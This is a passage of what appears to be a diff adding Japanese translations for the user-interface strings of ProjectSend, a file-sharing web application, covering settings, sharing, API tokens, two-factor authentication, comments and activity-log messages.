"ProjectSend を設定", + "Settings": "設定", + "Settings that apply to the whole installation": "インストール全体に適用される設定", + "Setup complete": "設定が完了しました", + "Share a file with the people who manage your account.": "アカウントを管理している担当者にファイルを共有します。", + "Share files with several clients at once": "複数のクライアントにまとめてファイルを共有できます", + "Shared the folder \":subject\" with :target": "フォルダ「:subject」を :target に共有しました", + "Shared with": "共有先", + "Shared with :count": "共有先: :count", + "Sharing": "共有", + "Sharing a folder shares everything inside it, now and later": "フォルダを共有すると、その中身も今後追加される分もすべて共有されます", + "Show": "表示", + "Show :name": ":nameを表示", + "Show All": "すべて表示", + "Showing": "表示中", + "Showing matches from across your library": "ライブラリ全体からの検索結果です", + "Showing matches from everything shared with you": "共有されたすべてのものからの検索結果です", + "Shown across the application and to your clients.": "アプリケーション全体とクライアントに表示されます。", + "Shows a registration form on the login screen.": "ログイン画面に登録フォームを表示します。", + "Sign In": "サインイン", + "Sign up": "登録", + "Site name": "サイト名", + "Size": "サイズ", + "Skip the IP address when the downloader is a signed-in account — their identity is already known.": "ログイン済みのアカウントがダウンロードした場合は IP アドレスを記録しません。誰なのかはすでに分かっているためです。", + "SMTP configuration": "SMTP の設定", + "Source code": "ソースコード", + "Special public links": "特別な公開リンク", + "Solve": "解決", + "Something went wrong. Please try again.": "問題が発生しました。もう一度お試しください。", + "SSL": "SSL", + "SSL Handshake Failed": "SSL接続エラー", + "Staff": "スタッフ", + "Start": "開始", + "Status": "ステータス", + "Stop": "停止", + "Stopped sharing the folder \":subject\" with :target": "フォルダ「:subject」の :target への共有を解除しました", + "Storage": "ストレージ", + "Storage free": "空き容量", + "Storage quota (MB)": "ストレージ上限 (MB)", + "Storage used": "使用容量", + "Store these recovery codes somewhere safe. Each one can be used once if you lose access to your authenticator app.": "これらのリカバリーコードは安全な場所に保管してください。認証アプリを使えなくなったとき、各コードを 1 回ずつ使用できます。", + "Subfolders": "サブフォルダ", + "Subject": "件名", + "Submit": "送信", + "Subscribe": "購読する", + "Success: test email sent to :email via :hostport.": "成功: :hostport 経由で :email にテストメールを送信しました。", + "Support the project": "プロジェクトを支援する", + "Switch": "切り替え", + "Switch To Role": "ロールの切り替え", + "Switching Protocols": "プロトコルの切替", + "System": "システム", + "System Administrator": "システム管理者", + "System settings": "システム設定", + "System settings were updated": "システム設定が更新されました", + "System users": "システムユーザー", + "Tag": "タグ", + "Tags": "タグ", + "Temporary Redirect": "一時的なリダイレクト", + "Test": "テスト", + "Text": "テキスト", + "Text or author": "本文または投稿者", + "The account of :name will be permanently deleted. This cannot be undone.": ":name のアカウントを完全に削除します。この操作は取り消せません。", + "The account password was changed": "アカウントのパスワードが変更されました", + "The account request of :name will be denied and the account deleted.": ":name のアカウント申請を却下し、アカウントを削除します。", + "The administrator account was created successfully.": "管理者アカウントを作成しました。", + "The administrator role always has every permission and cannot be edited.": "管理者ロールは常にすべての権限を持ち、編集できません。", + "The base URL segment for public group pages, e.g. :url": "公開グループページの基準となる URL 部分です (例: :url)", + "The category \":name\" will be removed from all its files. The files themselves are not deleted.": "カテゴリ「:name」を、付いているすべてのファイルから外します。ファイル自体は削除されません。", + "The client's email address": "クライアントのメールアドレス", + "The client's name": "クライアントの名前", + "The clients this group shares files with": "このグループがファイルを共有するクライアント", + "The field \":name\" and all its stored values will be permanently deleted.": "フィールド「:name」と、そこに保存されたすべての値を完全に削除します。", + "The file \":file\" was uploaded by :client.": "ファイル「:file」を :client がアップロードしました。", + "The file \":name\" has been shared with you.": "ファイル「:name」が共有されました。", + "The file \":name\" will no longer be available to anyone it was shared with.": "ファイル「:name」は、共有していた相手全員から利用できなくなります。", + "The file name": "ファイル名", + "The file or folder name": "ファイルまたはフォルダの名前", + "The file will be permanently removed from disk. This cannot be undone.": "ファイルをディスクから完全に削除します。この操作は取り消せません。", + "The files of a public group can be browsed by anyone with the link, without logging in.": "公開グループのファイルは、リンクを知っていれば誰でもログインせずに閲覧できます。", + "The files shared with you": "共有されたファイル", + "The folder \":name\" and everything inside it will be deleted. This can be undone by an administrator.": "フォルダ「:name」とその中身をすべて削除します。管理者なら元に戻せます。", + "The following :count items have been shared with you:": "次の :count 件のアイテムが共有されました:", + "The folder \":name\" has been shared with you.": "フォルダ「:name」が共有されました。", + "The given data was invalid.": "指定されたデータは無効でした。", + "The group \":name\" will be deleted. Its clients keep their accounts.": "グループ「:name」を削除します。所属クライアントのアカウントはそのまま残ります。", + "The group name": "グループ名", + "The groups you belong to and the ones you can ask to join": "所属しているグループと、参加を申請できるグループ", + "The header/footer style used for every outgoing notification email.": "送信するすべての通知メールで使われるヘッダー・フッターのスタイルです。", + "The look of the guest public pages, the client portal, and outgoing notification emails.": "訪問者向け公開ページ、クライアントポータル、送信する通知メールの見た目です。", + "The mail server itself is configured in this installation’s .env file (MAIL_* variables), not here.": "メールサーバー自体は、ここではなくこのインストールの .env ファイル (MAIL_* 変数) で設定します。", + "The people who administer this installation and upload files": "このインストールを管理し、ファイルをアップロードする人たち", + "The people you share files with": "ファイルを共有する相手", + "The provided two-factor authentication code was invalid.": "入力された二要素認証コードが正しくありません。", + "The release this installation is running, and where it comes from.": "このインストールが実行しているバージョンと、その入手元です。", + "The response is not a streamed response.": "レスポンスは、ストリーミング形式ではありません。", + "The response is not a view.": "レスポンスは、ビューではありません。", + "The role \":name\" will be permanently deleted. This cannot be undone.": "ロール「:name」を完全に削除します。この操作は取り消せません。", + "The selected folders are empty.": "選択したフォルダは空です。", + "The uploading client's name": "アップロードしたクライアントの名前", + "Their account is waiting for approval.": "このアカウントは承認待ちです。", + "There is nothing to configure yet.": "設定できる項目はまだありません。", + "Test email from :site": ":site からのテストメール", + "These files will be permanently removed from disk. This cannot be undone.": "これらのファイルをディスクから完全に削除します。この操作は取り消せません。", + "Theme": "テーマ", + "Theme updated.": "テーマを更新しました。", + "Theming": "テーマ", + "Theming settings": "テーマ設定", + "This action is unauthorized.": "この行為は許可されていません。", + "This file exceeds the maximum allowed size of :max MB.": "このファイルは、許可されている最大サイズ :max MB を超えています。", + "This folder is empty.": "このフォルダは空です。", + "This installation has no administrator yet. Create the first one to get started.": "このインストールにはまだ管理者がいません。最初の管理者を作成して始めましょう。", + "This is a built-in role; its scope can't be changed.": "これは組み込みロールです。適用範囲は変更できません。", + "This is a preview of the :theme email theme.": "これはメールテーマ :theme のプレビューです。", + "This is a sample email — no notification was actually sent.": "これはサンプルメールです。実際に通知は送信されていません。", + "This is a test email from :site.": "これは :site からのテストメールです。", + "This is the last active administrator account.": "これが最後の有効な管理者アカウントです。", + "This link cannot match the file's own public URL slug.": "このリンクは、ファイル自身の公開 URL スラッグと同じにはできません。", + "This link doesn't exist or has been revoked.": "このリンクは存在しないか、無効化されています。", + "This link has expired.": "このリンクは期限切れです。", + "This link has reached its download limit.": "このリンクはダウンロード回数の上限に達しました。", + "This password reset link will expire in :count minutes.": "このパスワード再設定リンクの有効期限は:count分です。", + "This permanently removes every failed job from the list without retrying any of them. This cannot be undone.": "失敗したジョブをすべて、再実行せずにリストから完全に削除します。この操作は取り消せません。", + "This role is assigned to accounts and cannot be deleted.": "このロールはアカウントに割り当てられているため削除できません。", + "This role only sees files and folders belonging to these clients, plus its own uploads.": "このロールには、以下のクライアントのファイルとフォルダ、そして自分がアップロードしたものだけが表示されます。", + "This upload would exceed your storage quota of :quota MB.": "このアップロードは、ストレージ上限 :quota MB を超えてしまいます。", + "Tip: drag files and folders onto a folder or a breadcrumb to move them.": "ヒント: ファイルやフォルダをフォルダやパンくずリストにドラッグすると移動できます。", + "Title": "タイトル", + "Title (optional)": "タイトル (任意)", + "TLS": "TLS", + "to": "に", + "To": "宛先", + "Toggle navigation": "ナビゲーション切替", + "Too Early": "リクエスト間隔が早すぎる", + "Too many files selected. Choose a smaller selection and try again.": "選択したファイルが多すぎます。数を減らしてもう一度お試しください。", + "Too Many Requests": "リクエストが多すぎます", + "Transactional email settings for this installation": "このインストールの各種メール設定", + "Transfers — last 30 days": "転送 — 過去 30 日間", + "Translate": "翻訳", + "Translate It": "翻訳してください", + "Turns all transactional email for this installation on or off.": "このインストールの各種メール送信をまとめて有効・無効にします。", + "Two-factor auth": "二要素認証", + "Two-factor authentication": "二要素認証", + "Two-factor authentication is enabled.": "二要素認証は有効です。", + "Two-factor authentication was disabled": "二要素認証が無効になりました", + "Two-factor authentication was enabled": "二要素認証が有効になりました", + "Two-factor recovery codes were regenerated": "二要素認証のリカバリーコードが再生成されました", + "Type": "種類", + "Unauthorized": "認証が必要です", + "Unavailable For Legal Reasons": "法的な理由により利用不可", + "Unchanged": "変更なし", + "Unknown Error": "不明なエラー", + "Unlimited": "無制限", + "Unpack": "開梱", + "Unprocessable Entity": "処理できないエンティティ", + "Unsubscribe": "サブスクライブの解除", + "Unsupported Media Type": "サポートされていないメディアタイプ", + "Up": "上", + "Up to :max MB per file. Uploads can be paused and resume automatically after interruptions.": "1 ファイルにつき最大 :max MB です。アップロードは一時停止でき、中断後は自動的に再開します。", + "Update": "更新", + "Update :name": ":nameを更新", + "Updated the account \":subject\"": "アカウント「:subject」を更新しました", + "Updated the file \":subject\"": "ファイル「:subject」を更新しました", + "Updated the group \":subject\"": "グループ「:subject」を更新しました", + "Updated the role \":subject\"": "ロール「:subject」を更新しました", + "Updated the system settings (:section)": "システム設定を更新しました (:section)", + "Updated their profile information": "プロフィール情報を更新しました", + "Upgrade Required": "アップグレードが必要", + "Upload": "アップロード", + "Upload a file": "ファイルをアップロード", + "Upload files": "ファイルのアップロード", + "Upload public files": "公開ファイルのアップロード", + "Upload settings": "アップロード設定", + "Upload to public folders": "公開フォルダへのアップロード", + "Uploaded by": "アップロード者", + "Uploaded the file \":subject\"": "ファイル「:subject」をアップロードしました", + "Uploader": "アップロード者", + "Uploads": "アップロード", + "Uploads (chart)": "アップロード (グラフ)", + "URI Too Long": "URLが長すぎます", + "URL slug": "URL スラッグ", + "Use a custom link instead of a random one": "ランダムなリンクではなく、独自のリンクを使う", + "Use a recovery code": "リカバリーコードを使う", + "Use an authentication code": "認証コードを使う", + "Use Proxy": "プロキシ使用", + "Use the navigation to get started.": "ナビゲーションから始めてください。", + "Used": "使用済み", + "Used in the public file URL when this file is public.": "このファイルが公開のとき、公開ファイル URL に使われます。", + "Used in the public group URL when this group is public.": "このグループが公開のとき、公開グループ URL に使われます。", + "User": "ユーザー", + "User created.": "ユーザーを作成しました。", + "User deleted.": "ユーザーを削除しました。", + "User updated.": "ユーザーを更新しました。", + "Users": "ユーザー", + "Username": "ユーザー名", + "Variant Also Negotiates": "バリアントの再認証", + "Verify Email Address": "メールアドレスの確認", + "Version": "バージョン", + "Version :version": "バージョン :version", + "View": "ビュー", + "View :name": ":nameを閲覧", + "View all": "すべて表示", + "View dashboard counters": "ダッシュボードのカウンターの閲覧", + "View file": "ファイルを表示", + "View news": "お知らせの閲覧", + "View statistics": "統計の閲覧", + "View system information": "システム情報の閲覧", + "Visible widgets": "表示するウィジェット", + "View the activity log": "アクティビティログの閲覧", + "View your files": "自分のファイルの閲覧", + "Visibility": "公開範囲", + "Visitors": "訪問者", + "Warning": "警告", + "Web Server is Down": "Webサーバーが停止中", + "Website": "ウェブサイト", + "Welcome": "ようこそ", + "Welcome to ProjectSend": "ProjectSend へようこそ", + "What each kind of account is allowed to do": "アカウントの種類ごとにできること", + "When an account is erased, its files and folders": "アカウントを消去したとき、そのファイルとフォルダーを", + "When enabled, you will be asked for a secure code from your phone when logging in.": "有効にすると、ログイン時にスマートフォンの認証コードの入力を求められます。", + "When off, self-registered clients wait in the account requests queue until approved.": "オフの場合、自分で登録したクライアントは承認されるまでアカウント申請の一覧で待機します。", + "Where outgoing email is actually sent from.": "送信メールが実際に送られる差出人です。", + "Whoops!": "おっと!", + "Widgets": "ウィジェット", + "Worth including when you report a problem.": "問題を報告するときに添えてください。", + "Written by": "投稿者", + "Yellow": "黄", + "Yes": "はい。", + "You are commenting too quickly. Try again in a moment.": "コメントの間隔が短すぎます。少し待ってからもう一度お試しください。", + "You are commenting too quickly. Try again in :seconds seconds.": "コメントの間隔が短すぎます。:seconds 秒後にもう一度お試しください。", + "You are not a member of any group yet.": "まだどのグループにも所属していません。", + "You are receiving this email because we received a password reset request for your account.": "パスワード再設定のリクエストを受け付けました。", + "You can only share with the clients assigned to you.": "共有できるのは、自分の担当クライアントだけです。", + "You cannot comment on this file.": "このファイルにはコメントできません。", + "You cannot deactivate your own account.": "自分のアカウントを無効化することはできません。", + "You cannot delete your own account.": "自分のアカウントを削除することはできません。", + "You have no notifications yet.": "通知はまだありません。", + "You will no longer receive files shared with the group \":name\".": "グループ「:name」に共有されるファイルは、今後受け取れなくなります。", + "Your account details were recently changed by an administrator. Contact your administrator if this was not expected.": "管理者があなたのアカウント情報を変更しました。心当たりがない場合は管理者にご連絡ください。", + "Your account has been approved": "アカウントが承認されました", + "Your account has been created. You can log in now.": "アカウントが作成されました。すぐにログインできます。", + "Your account has been deactivated.": "アカウントが無効化されました。", + "Your account is deactivated immediately. After :days days it is permanently erased, including your identifying details in the activity log — this cannot be undone.": "アカウントはただちに無効化されます。:days 日後には、アクティビティログ内の個人を特定できる情報も含めて完全に消去されます。この操作は取り消せません。", + "Your account request has been approved. You can now log in.": "アカウント申請が承認されました。ログインできます。", + "Your account request has been denied.": "アカウント申請は却下されました。", + "Your account request has been received. You will be able to log in once it is approved.": "アカウント申請を受け付けました。承認されるとログインできるようになります。", + "Your account request has not been approved yet.": "アカウント申請はまだ承認されていません。", + "Your account request was denied": "アカウント申請が却下されました", + "Your account was updated": "アカウントが更新されました", + "Your account will be deactivated now and permanently erased after :days days. Enter your password to confirm.": "アカウントをただちに無効化し、:days 日後に完全に消去します。確認のためパスワードを入力してください。", + "Your account will no longer require a second code at login, making it less secure.": "ログイン時に 2 つ目のコードが不要になり、安全性は下がります。", + "Your administrator requires two-factor authentication on this account. Set it up below to continue.": "管理者がこのアカウントに二要素認証を必須としています。続けるには以下で設定してください。", + "Your customized subject and body will be discarded and replaced with the default wording immediately — this cannot be undone.": "カスタマイズした件名と本文はただちに破棄され、既定の文面に置き換えられます。この操作は取り消せません。", + "Your download should start automatically.": "ダウンロードは自動的に始まります。", + "Your existing recovery codes will stop working immediately.": "現在のリカバリーコードはただちに使えなくなります。", + "Your group membership request was approved": "グループ参加の申請が承認されました", + "Your group membership request was denied": "グループ参加の申請が却下されました", + "Your groups": "参加中のグループ", + "Your previous request to this group was declined. You can request again later.": "このグループへの前回の申請は却下されました。しばらくしてから再度申請できます。", + "Your request to join the group \":group\" has been approved.": "グループ「:group」への参加申請が承認されました。", + "Your request to join the group \":group\" has been denied.": "グループ「:group」への参加申請は却下されました。", + "Your request to join the group \":groupName\" has been approved": "グループ「:groupName」への参加申請が承認されました", + "Your shared file library": "共有ファイルのライブラリ", + "API tokens": "API トークン", + "Tokens let an external tool act on your behalf through the API, with only the permissions you grant it here.": "トークンを使うと、外部ツールが API を通じてあなたの代わりに操作できます。権限はここで許可したものだけです。", + "Token name": "トークン名", + "e.g. Zapier": "例: Zapier", + "Name it after the tool that will use it, so you know what you are revoking later.": "使用するツールの名前を付けておくと、後で何を無効化するのか分かりやすくなります。", + "A token can never do more than you can. Grant only what the tool needs — if your own permissions change, the token follows.": "トークンにあなた以上のことはできません。ツールに必要な分だけ許可してください。あなたの権限が変われば、トークンもそれに従います。", + "Only permissions the API can currently act on are listed. More appear here as new endpoints are released.": "ここに並ぶのは、API が現在対応している権限だけです。新しいエンドポイントが公開されるにつれて増えていきます。", + "There is nothing you can grant a token yet — none of the API endpoints released so far match your permissions.": "トークンに許可できるものはまだありません。これまでに公開された API エンドポイントは、いずれもあなたの権限と一致しません。", + "Select all": "すべて選択", + "Clear all": "すべて解除", + "Expires in (days)": "有効期限 (日数)", + "A token that never expires stays valid until someone revokes it by hand. Prefer a date you can forget about safely.": "期限のないトークンは、誰かが手動で無効化するまで有効なままです。安心して忘れられる期限を設定するのがおすすめです。", + "Create token": "トークンを作成", + "Copy your token now": "今すぐトークンをコピーしてください", + "This is the only time it will be shown. We store only a hash, so it cannot be recovered later.": "表示されるのはこの一度きりです。ハッシュしか保存していないため、後から復元することはできません。", + "Copy to clipboard": "クリップボードにコピー", + "Copied": "コピーしました", + "Your tokens": "あなたのトークン", + "Revoking a token takes effect immediately.": "トークンの無効化はただちに反映されます。", + "You have not created any tokens yet.": "まだトークンを作成していません。", + "Expired": "期限切れ", + "Never used": "未使用", + "Last used :date": "最終使用: :date", + "Revoke this token?": "このトークンを無効化しますか?", + "Any tool using it will stop working immediately. This cannot be undone.": "これを使っているツールはただちに動作しなくなります。この操作は取り消せません。", + "This file type is not allowed for upload.": "この種類のファイルはアップロードできません。", + "View the client list": "クライアント一覧の閲覧", + "View the group list": "グループ一覧の閲覧", + "Origin": "経路", + "All origins": "すべての経路", + "Web UI": "Web 画面", + "API": "API", + ":origin · :token": ":origin · :token", + "Edit token": "トークンを編集", + "Save token": "トークンを保存", + "The token is shown once, immediately after it is created, and never again.": "トークンが表示されるのは作成直後の一度きりで、その後は二度と表示されません。", + "The token itself does not change. Anything already using it keeps working with whatever you set here.": "トークンそのものは変わりません。すでに使用中のものは、ここで設定した内容のまま動き続けます。", + "Changing permissions takes effect immediately": "権限の変更はただちに反映されます", + "The existing token keeps its value, so whatever holds it gains or loses these permissions right away. Revoke and create a new one instead if you want a fresh secret.": "既存のトークンの値は変わらないため、それを持っているものは即座にこれらの権限を得たり失ったりします。新しいシークレットが必要な場合は、無効化して作り直してください。", + "Some permissions no longer apply": "一部の権限はもう適用されません", + "This token still carries permissions that do nothing today, and saving will drop them: :abilities": "このトークンには、現在は何の効果もない権限が残っています。保存すると削除されます: :abilities", + "Token updated.": "トークンを更新しました。", + "How external tools can act on this installation on your behalf.": "外部ツールがこのインストールであなたの代わりに操作する方法です。", + "OpenAPI specification": "OpenAPI 仕様", + "Endpoints": "エンドポイント", + "Method": "メソッド", + "Tokens": "トークン", + "Your tokens and what they have been doing.": "あなたのトークンと、その利用状況です。", + "Every token on this installation and what it has been doing.": "このインストールのすべてのトークンと、その利用状況です。", + "Show all tokens": "すべてのトークンを表示", + "Show only mine": "自分のものだけ表示", + "Manage tokens": "トークンを管理", + "Requests (7 days)": "リクエスト (7 日間)", + "Failed (7 days)": "失敗 (7 日間)", + "Median response": "応答時間の中央値", + "No requests yet": "リクエストはまだありません", + ":count expired": "期限切れ :count 件", + "Requests": "リクエスト", + "Succeeded": "成功", + "Failed": "失敗", + "Request history is kept for :days days.": "リクエスト履歴は :days 日間保持されます。", + "Request history is kept indefinitely.": "リクエスト履歴は無期限に保持されます。", + "No tokens yet.": "トークンはまだありません。", + "Owner": "所有者", + "Last used": "最終使用", + "History": "履歴", + "Busiest endpoints": "利用の多いエンドポイント", + "No requests in the last 7 days.": "過去 7 日間にリクエストはありません。", + "Recent changes made through the API": "API 経由で行われた最近の変更", + "Full history": "すべての履歴", + "Nothing has been changed through the API yet.": "API 経由での変更はまだありません。", + "API usage": "API の利用状況", + "Open the API dashboard": "API ダッシュボードを開く", + "You have no API tokens. Create one to let an external tool act on your behalf.": "API トークンがありません。外部ツールにあなたの代わりの操作を任せるには、トークンを作成してください。", + "API request history (days)": "API リクエスト履歴 (日数)", + "How long the API dashboard keeps a record of each request. This is usage history, not the activity log — the activity log is an audit trail and is never pruned. Set to 0 to keep it indefinitely.": "API ダッシュボードが各リクエストの記録を保持する期間です。これは利用履歴であり、アクティビティログとは別物です。アクティビティログは監査証跡であり、削除されることはありません。無期限に保持するには 0 を指定します。", + "A category was created": "カテゴリが作成されました", + "A category was deleted": "カテゴリが削除されました", + "A category was renamed": "カテゴリの名前が変更されました", + "A comment was approved": "コメントが承認されました", + "A comment was deleted": "コメントが削除されました", + "A comment was edited": "コメントが編集されました", + "A comment was posted on a file": "ファイルにコメントが投稿されました", + "A custom asset was created": "カスタムアセットが作成されました", + "A custom asset was deleted": "カスタムアセットが削除されました", + "A custom asset was disabled": "カスタムアセットが無効になりました", + "A custom asset was enabled": "カスタムアセットが有効になりました", + "A custom asset was updated": "カスタムアセットが更新されました", + "A custom field was created": "カスタムフィールドが作成されました", + "A custom field was deleted": "カスタムフィールドが削除されました", + "A custom field was updated": "カスタムフィールドが更新されました", + "A deleted account's files and folders were deleted": "削除済みアカウントのファイルとフォルダが削除されました", + "A deleted account's files and folders were reassigned": "削除済みアカウントのファイルとフォルダが再割り当てされました", + "A file was made private": "ファイルが非公開になりました", + "A file was made public": "ファイルが公開になりました", + "A file was previewed": "ファイルがプレビューされました", + "A folder was made private": "フォルダが非公開になりました", + "A folder was made public": "フォルダが公開になりました", + "A group was made private": "グループが非公開になりました", + "A group was made public": "グループが公開になりました", + "An API token was created": "API トークンが作成されました", + "An API token was revoked": "API トークンが無効化されました", + "An API token was updated": "API トークンが更新されました", + "An expired file was automatically deleted after its retention grace period passed": "保持猶予期間の経過後、期限切れファイルが自動的に削除されました", + "An orphan file was automatically deleted after its retention grace period passed": "保持猶予期間の経過後、孤立ファイルが自動的に削除されました", + "An upload was cancelled": "アップロードが中止されました", + "Approved a comment on the file \":subject\"": "ファイル「:subject」のコメントを承認しました", + "Cancelled uploading the file \":name\"": "ファイル「:name」のアップロードを中止しました", + "Commented on the file \":subject\"": "ファイル「:subject」にコメントしました", + "Created the API token \":token_name\"": "API トークン「:token_name」を作成しました", + "Created the category \":subject\"": "カテゴリ「:subject」を作成しました", + "Created the custom asset \":subject\"": "カスタムアセット「:subject」を作成しました", + "Created the custom field \":name\"": "カスタムフィールド「:name」を作成しました", + "Deleted :files file(s) and :folders folder(s) belonging to the deleted account \":name\"": "削除済みアカウント「:name」の :files 件のファイルと :folders 件のフォルダを削除しました", + "Deleted a comment on the file \":subject\"": "ファイル「:subject」のコメントを削除しました", + "Deleted the category \":name\"": "カテゴリ「:name」を削除しました", + "Deleted the custom asset \":name\"": "カスタムアセット「:name」を削除しました", + "Deleted the custom field \":name\"": "カスタムフィールド「:name」を削除しました", + "Deleted the expired file \":name\"": "期限切れファイル「:name」を削除しました", + "Disabled the custom asset \":subject\"": "カスタムアセット「:subject」を無効にしました", + "Edited a comment on the file \":subject\"": "ファイル「:subject」のコメントを編集しました", + "Enabled the custom asset \":subject\"": "カスタムアセット「:subject」を有効にしました", + "Made the file \":subject\" private": "ファイル「:subject」を非公開にしました", + "Made the file \":subject\" public": "ファイル「:subject」を公開にしました", + "Made the folder \":subject\" private": "フォルダ「:subject」を非公開にしました", + "Made the folder \":subject\" public": "フォルダ「:subject」を公開にしました", + "Made the group \":subject\" private": "グループ「:subject」を非公開にしました", + "Made the group \":subject\" public": "グループ「:subject」を公開にしました", + "Previewed the file \":subject\"": "ファイル「:subject」をプレビューしました", + "Reassigned :files file(s) and :folders folder(s) from the deleted account \":name\" to :target": "削除済みアカウント「:name」の :files 件のファイルと :folders 件のフォルダを :target に再割り当てしました", + "Renamed the category to \":subject\"": "カテゴリの名前を「:subject」に変更しました", + "Revoked the API token \":token_name\"": "API トークン「:token_name」を無効化しました", + "Updated the API token \":token_name\"": "API トークン「:token_name」を更新しました", + "Updated the custom asset \":subject\"": "カスタムアセット「:subject」を更新しました", + "Updated the custom field \":name\"": "カスタムフィールド「:name」を更新しました", + "Manage client custom fields": "クライアントのカスタムフィールドの管理", + "Moderate comments": "コメントの管理", + "Only me": "自分だけ", + "Visible to anyone who can open this file, including visitors who are not logged in.": "このファイルを開ける人全員に表示されます。ログインしていない訪問者も含みます。", + "Anyone, including visitors who are not logged in": "誰でも (ログインしていない訪問者を含む)", + "Staff and clients": "スタッフとクライアント", + "Staff only": "スタッフのみ", + "No files — commenting is off": "対象なし — コメントは無効です", + "Only files marked as commentable": "コメントを許可したファイルのみ", + "Public files only": "公開ファイルのみ", + "Shared files only": "共有ファイルのみ", + "(blank = inheriting the site default)": "(空欄 = サイトの既定値を引き継ぎます)", + "(blank = unlimited, no site default is set)": "(空欄 = 無制限。サイトの既定値は設定されていません)", + "(deleted file)": "(削除済みのファイル)", + ":authorName commented on \":fileName\"": ":authorName が「:fileName」にコメントしました", + ":authorName commented on \":fileName\" and is waiting for approval": ":authorName が「:fileName」にコメントし、承認を待っています", + ":count comments": ":count 件のコメント", + ":count file updated.|:count files updated.": ":count 件のファイルを更新しました。|:count 件のファイルを更新しました。", + ":count waiting for approval": ":count 件が承認待ちです", + ":guest commented on the file \":subject\"": ":guest がファイル「:subject」にコメントしました", + ":name — files": ":name — ファイル", + ":updated of :requested selected files were updated. The rest were skipped because you don't have permission to edit them.": "選択した :requested 件のうち :updated 件を更新しました。残りは編集権限がないためスキップされました。", + "A bold header built around your logo — pairs with the Gallery look for a polished, on-brand inbox.": "ロゴを主役にした力強いヘッダー。Gallery の見た目と組み合わせれば、ブランドらしい洗練された受信トレイになります。", + "Access": "アクセス", + "Access key": "アクセスキー", + "Accounts covered by this setting may only upload files whose extension is on the allowed list below.": "この設定の対象となるアカウントは、以下の許可リストにある拡張子のファイルしかアップロードできません。", + "A clean, neutral layout that works well for any kind of file sharing.": "どんなファイル共有にも合う、すっきりとした中立的なレイアウトです。", + "A comment from someone who is not logged in stays hidden until a moderator approves it.": "ログインしていない人のコメントは、モデレーターが承認するまで表示されません。", + "A comment is waiting for approval": "コメントが承認を待っています", + "Activity history for :name": ":name のアクティビティ履歴", + "A daily task permanently deletes files past their expiration date and grace period below.": "毎日実行されるタスクが、有効期限と以下の猶予期間を過ぎたファイルを完全に削除します。", + "A daily task permanently deletes local orphan files older than the grace period below.": "毎日実行されるタスクが、以下の猶予期間より古いローカルの孤立ファイルを完全に削除します。", + "Add categories": "カテゴリの追加", + "Adds an \"Everyone\" option when commenting on a file that is publicly visible. Without this, comments only ever reach people who are logged in.": "公開されているファイルへのコメント時に「全員」の選択肢を追加します。これがないと、コメントはログインしている人にしか届きません。", + "A dense, spreadsheet-style list that fits more files on screen — best for large collections and frequent uploaders.": "表計算ソフトのように情報を詰めた一覧で、画面により多くのファイルを表示できます。大量のファイルを扱う人や頻繁にアップロードする人に最適です。", + "A full-width photo grid built for visual browsing — the best choice for photographers and image-heavy collections.": "全幅の写真グリッドで、見て選ぶのに向いています。写真家や画像中心のコレクションに最適です。", + "Allow clients to add files to this folder from their portal.": "クライアントが自分のポータルからこのフォルダにファイルを追加できるようにします。", + "Allow comments on this file": "このファイルへのコメントを許可する", + "Allowed file extensions": "許可する拡張子", + "Allow public comments": "公開コメントを許可する", + "and :count more": "ほか :count 件", + "Anonymous": "匿名", + "Anonymous downloads": "匿名のダウンロード", + "Applied to any client without their own custom quota, including self-registered ones. Set to 0 for no default (unlimited unless a client has their own limit).": "個別の上限が設定されていないすべてのクライアントに適用されます (自分で登録したクライアントを含む)。既定値を設けない場合は 0 を指定します (個別の上限がなければ無制限)。", + "A public group's page is always reachable by its own link once you mark it public — this page only controls the base URL and an optional directory listing every public group and file at once.": "グループを公開に設定すると、そのページには常に専用リンクからアクセスできます。このページで設定するのは基準となる URL と、公開中のグループとファイルを一度に一覧表示する任意のディレクトリだけです。", + "A reset link will be sent if the account exists.": "そのアカウントが存在する場合、再設定用のリンクを送信します。", + "A spacious, colorful layout inspired by cloud storage apps, with clear file-type icons and generous spacing.": "クラウドストレージのアプリを思わせる、ゆったりとした彩りのあるレイアウト。ファイル種別のアイコンが分かりやすく、余白もたっぷりです。", + "A stripped-down, understated design with no extra styling — pairs with the Compact look.": "飾りを削ぎ落とした控えめなデザイン。Compact の見た目と好相性です。", + "Auto approve new accounts": "新しいアカウントを自動承認する", + "Automatically delete expired files": "期限切れファイルを自動削除する", + "Automatically delete orphan files": "孤立ファイルを自動削除する", + "A visitor commented on a file": "訪問者がファイルにコメントしました", + "Awaiting approval": "承認待ち", + "Back": "戻る", + "Be careful when changing this list — it can affect the security of this installation.": "このリストの変更は慎重に行ってください。インストール全体の安全性に関わります。", + "Blank = inherit the site default (currently :default MB). Set a value to give this client their own limit.": "空欄 = サイトの既定値を引き継ぎます (現在 :default MB)。このクライアント個別の上限を設けるには値を入力してください。", + "Blank = unlimited (no site default is set). Set a value to give this client their own limit.": "空欄 = 無制限 (サイトの既定値は設定されていません)。このクライアント個別の上限を設けるには値を入力してください。", + "Blue accents and clean structure inspired by cloud storage apps — pairs with the Drive look.": "クラウドストレージのアプリを思わせる青のアクセントとすっきりした構成。Drive の見た目と好相性です。", + "Branding": "ブランディング", + "Bucket": "バケット", + "Bulk edit :count files": ":count 件のファイルを一括編集", + "by": "投稿者:", + "Change at least one field before applying a bulk edit.": "一括編集を適用する前に、少なくとも 1 つの項目を変更してください。", + "Check for updates": "更新を確認する", + "Client access": "クライアントのアクセス", + "Client downloads": "クライアントのダウンロード", + "Clients can register themselves": "クライアントが自分で登録できるようにする", + "Clients only": "クライアントのみ", + "Comment approved.": "コメントを承認しました。", + "Comment deleted.": "コメントを削除しました。", + "Comments": "コメント", + "Comments are closed on this file.": "このファイルのコメントは締め切られています。", + "Comments already written stay readable even if a file stops accepting new ones.": "新しいコメントを受け付けなくなっても、すでに書かれたコメントは読めるままです。", + "Comments awaiting approval": "承認待ちのコメント", + "Comment settings": "コメント設定", + "Comments left by visitors who are not logged in. Nobody can see them until you approve them.": "ログインしていない訪問者が残したコメントです。承認するまで誰にも表示されません。", + "Connect an external S3-compatible bucket (AWS S3, MinIO, or another S3-compatible service) as the storage backend for new uploads.": "新しいアップロードの保存先として、外部の S3 互換バケット (AWS S3、MinIO、その他の S3 互換サービス) を接続します。", + "Custom endpoint": "カスタムエンドポイント", + "Custom field created.": "カスタムフィールドを作成しました。", + "Custom field deleted.": "カスタムフィールドを削除しました。", + "Custom field updated.": "カスタムフィールドを更新しました。", + "Custom range": "期間を指定", + "Default storage quota (MB)": "既定のストレージ上限 (MB)", + "Delete account?": 